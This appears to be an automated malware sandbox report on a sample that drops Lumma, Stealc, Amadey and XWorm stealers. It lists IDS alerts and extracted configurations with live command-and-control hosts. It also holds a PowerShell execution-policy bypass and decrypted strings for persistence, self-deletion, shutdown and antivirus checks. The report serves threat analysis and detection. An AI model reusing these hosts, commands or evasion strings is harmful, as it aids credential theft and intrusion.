Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", CommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe, ParentProcessId: 7424, ParentProcessName: f7eded9312.exe, ProcessCommandLine: powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\D2HGTJLHWZ1QZ5J7AXEMDMLHKAAWIN.ps1", ProcessId: 7776, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:12.985914+0100	2028371	3	Unknown Traffic	192.168.2.6	49747	104.21.112.1	443	TCP
2025-01-03T15:21:14.066364+0100	2028371	3	Unknown Traffic	192.168.2.6	49753	104.21.112.1	443	TCP
2025-01-03T15:21:15.546272+0100	2028371	3	Unknown Traffic	192.168.2.6	49764	104.21.112.1	443	TCP
2025-01-03T15:21:16.633569+0100	2028371	3	Unknown Traffic	192.168.2.6	49775	104.21.112.1	443	TCP
2025-01-03T15:21:17.843954+0100	2028371	3	Unknown Traffic	192.168.2.6	49781	104.21.112.1	443	TCP
2025-01-03T15:21:19.395133+0100	2028371	3	Unknown Traffic	192.168.2.6	49792	104.21.112.1	443	TCP
2025-01-03T15:21:20.849943+0100	2028371	3	Unknown Traffic	192.168.2.6	49805	104.21.112.1	443	TCP
2025-01-03T15:21:22.894252+0100	2028371	3	Unknown Traffic	192.168.2.6	49823	104.21.112.1	443	TCP
2025-01-03T15:22:18.353161+0100	2028371	3	Unknown Traffic	192.168.2.6	50032	188.114.96.3	443	TCP
2025-01-03T15:22:19.293545+0100	2028371	3	Unknown Traffic	192.168.2.6	50035	188.114.96.3	443	TCP
2025-01-03T15:22:20.650469+0100	2028371	3	Unknown Traffic	192.168.2.6	50036	188.114.96.3	443	TCP
2025-01-03T15:22:21.956170+0100	2028371	3	Unknown Traffic	192.168.2.6	50037	188.114.96.3	443	TCP
2025-01-03T15:22:23.456343+0100	2028371	3	Unknown Traffic	192.168.2.6	50038	188.114.96.3	443	TCP
2025-01-03T15:22:25.104578+0100	2028371	3	Unknown Traffic	192.168.2.6	50039	188.114.96.3	443	TCP
2025-01-03T15:22:26.724739+0100	2028371	3	Unknown Traffic	192.168.2.6	50040	188.114.96.3	443	TCP
2025-01-03T15:22:33.036850+0100	2028371	3	Unknown Traffic	192.168.2.6	50042	188.114.96.3	443	TCP
2025-01-03T15:22:33.987397+0100	2028371	3	Unknown Traffic	192.168.2.6	50043	104.26.3.16	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:13.519775+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49747	104.21.112.1	443	TCP
2025-01-03T15:21:14.538450+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49753	104.21.112.1	443	TCP
2025-01-03T15:21:23.393059+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49823	104.21.112.1	443	TCP
2025-01-03T15:22:18.827754+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50032	188.114.96.3	443	TCP
2025-01-03T15:22:19.775408+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50035	188.114.96.3	443	TCP
2025-01-03T15:22:33.496643+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50042	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:13.519775+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49747	104.21.112.1	443	TCP
2025-01-03T15:22:18.827754+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50032	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:14.538450+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49753	104.21.112.1	443	TCP
2025-01-03T15:22:19.775408+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50035	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:12.985914+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.6	49747	104.21.112.1	443	TCP
2025-01-03T15:21:14.066364+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.6	49753	104.21.112.1	443	TCP
2025-01-03T15:21:15.546272+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.6	49764	104.21.112.1	443	TCP
2025-01-03T15:21:16.633569+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.6	49775	104.21.112.1	443	TCP
2025-01-03T15:21:17.843954+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.6	49781	104.21.112.1	443	TCP
2025-01-03T15:21:19.395133+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.6	49792	104.21.112.1	443	TCP
2025-01-03T15:21:20.849943+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.6	49805	104.21.112.1	443	TCP
2025-01-03T15:21:22.894252+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.6	49823	104.21.112.1	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:22:12.174070+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50028	185.215.113.43	80	TCP
2025-01-03T15:22:18.467526+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50031	185.215.113.43	80	TCP
2025-01-03T15:22:58.137922+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50045	185.215.113.43	80	TCP
2025-01-03T15:23:03.669136+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50048	185.215.113.43	80	TCP
2025-01-03T15:23:09.101773+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50051	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:12.403097+0100	2058656	1	Domain Observed Used for C2 Detected	192.168.2.6	51747	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:31.990616+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49873	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:31.984330+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49873	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:32.225746+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49873	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:33.450072+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49873	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:32.232458+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49873	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:17.131678+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49775	104.21.112.1	443	TCP
2025-01-03T15:22:25.537515+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50039	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:31.749851+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49873	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:22:04.502155+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50024	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:22:11.425693+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50025	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:22:07.578675+0100	2803305	3	Unknown Traffic	192.168.2.6	50027	31.41.244.11	80	TCP
2025-01-03T15:22:12.879351+0100	2803305	3	Unknown Traffic	192.168.2.6	50029	31.41.244.11	80	TCP
2025-01-03T15:22:19.161759+0100	2803305	3	Unknown Traffic	192.168.2.6	50034	31.41.244.11	80	TCP
2025-01-03T15:22:58.849243+0100	2803305	3	Unknown Traffic	192.168.2.6	50046	31.41.244.11	80	TCP
2025-01-03T15:23:04.365717+0100	2803305	3	Unknown Traffic	192.168.2.6	50049	31.41.244.11	80	TCP
2025-01-03T15:23:09.848082+0100	2803305	3	Unknown Traffic	192.168.2.6	50052	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:21:34.068662+0100	2803304	3	Unknown Traffic	192.168.2.6	49873	185.215.113.206	80	TCP
2025-01-03T15:21:58.483419+0100	2803304	3	Unknown Traffic	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:21:59.680713+0100	2803304	3	Unknown Traffic	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:22:00.285798+0100	2803304	3	Unknown Traffic	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:22:00.803813+0100	2803304	3	Unknown Traffic	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:22:02.588207+0100	2803304	3	Unknown Traffic	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:22:03.095986+0100	2803304	3	Unknown Traffic	192.168.2.6	50021	185.215.113.206	80	TCP
2025-01-03T15:22:06.990910+0100	2803304	3	Unknown Traffic	192.168.2.6	50026	185.215.113.16	80	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T15:22:29.590460+0100	2855924	1	Malware Command and Control Activity Detected	192.168.2.6	50030	80.76.51.73	3232	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: same.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Avira: detection malicious, Label: HEUR/AGEN.1313526
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\abu7zly[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1313526

Found malware configuration

Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 24.2.abu7zly.exe.eb0000.0.unpack	Malware Configuration Extractor: Xworm {"C2 url": ["get.craca.ru"], "Port": 3232, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: f7eded9312.exe.7424.28.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["wholersorie.shop", "tirepublicerj.shop", "rabidcowse.shop", "cloudewahsj.shop", "noisycuttej.shop", "nearycrepso.shop", "framekgirus.shop", "abruptyopsn.shop", "fallyjustif.click"], "Build id": "MeHdy4--pl1vs01"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\abu7zly[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[2].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\4O211C.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3r66R.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: same.exe	ReversingLabs: Detection: 50%
Source: same.exe	Virustotal: Detection: 55%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\abu7zly[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: same.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: 185.215.113.43
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: /Zu7JuNko/index.php
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: S-%lu-
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: abc3bc1985
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: skotes.exe
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Startup
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: rundll32
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Programs
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: %USERPROFILE%
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: cred.dll
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: clip.dll
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: http://
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: https://
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: /quiet
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: /Plugins/
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: &unit=
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: shell32.dll
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: kernel32.dll
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: ProgramData\
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: AVAST Software
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Kaspersky Lab
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Panda Security
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Doctor Web
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: 360TotalSecurity
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Bitdefender
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Norton
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Sophos
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Comodo
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: WinDefender
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: 0123456789
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: ------
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: ?scr=1
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: ComputerName
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: -unicode-
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: VideoID
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: ProductName
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: CurrentBuild
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: rundll32.exe
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: "taskkill /f /im "
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: " && timeout 1 && del
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: && Exit"
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: " && ren
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: Powershell.exe
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: shutdown -s -t 0
Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp	String decryptor: random
Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp	String decryptor: get.craca.ru
Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp	String decryptor: 3232
Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp	String decryptor: <123456789>
Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp	String decryptor: <Xwormmm>
Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp	String decryptor: XWorm V5.6
Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp	String decryptor: USB.exe
Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp	String decryptor: %AppData%
Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp	String decryptor: XClient.exe
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: 07
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: 01
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: 20
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: 25
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetProcAddress
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: LoadLibraryA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: lstrcatA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: OpenEventA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CreateEventA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: CloseHandle
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: Sleep
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: VirtualFree
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetSystemInfo
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: VirtualAlloc
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: HeapAlloc
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetComputerNameA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: lstrcpyA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetProcessHeap
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetCurrentProcess
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: lstrlenA
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: ExitProcess
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: GetSystemTime
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: advapi32.dll
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack	String decryptor: gdi32.dll
